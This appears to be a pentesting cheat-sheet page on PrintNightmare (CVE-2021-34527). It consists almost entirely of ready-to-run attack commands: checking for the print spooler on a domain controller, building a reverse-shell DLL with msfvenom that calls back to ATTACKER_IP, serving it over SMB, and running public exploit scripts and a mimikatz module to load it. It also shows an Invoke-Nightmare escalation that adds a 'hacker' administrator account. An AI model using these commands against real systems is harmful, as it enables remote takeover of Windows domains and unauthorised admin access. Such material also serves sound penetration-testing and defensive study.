Critical Vulns
PrintNightmare
PrintNightmare (CVE-2021-34527): remote code execution via Windows Print Spooler vulnerability.
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
PrintNightmare (CVE-2021-34527): remote code execution via Windows Print Spooler vulnerability.
impacket-rpcdump DC_IP | grep -i "spoolsv\|MS-RPRN"
Get-Service Spooler
ls \\DC_IP\pipe\spoolss
# Generate DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll
# Host via SMB
impacket-smbserver share . -smb2support
# https://github.com/cube0x0/CVE-2021-1675
python3 CVE-2021-1675.py DOMAIN/user:password@DC_IP '\\ATTACKER_IP\share\evil.dll'
# https://github.com/calebstewart/CVE-2021-1675
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintMe" -NewUser "hacker" -NewPassword "Password123!"
misc::printnightmare /server:DC_IP /library:\\ATTACKER_IP\share\evil.dll
| Task | Command |
|---|---|
| Check spooler | rpcdump DC_IP | grep spoolsv |
| RCE | CVE-2021-1675.py DOMAIN/user:pass@DC '\\ATK\share\evil.dll' |
| LPE | Invoke-Nightmare -NewUser hacker -NewPassword Pass123! |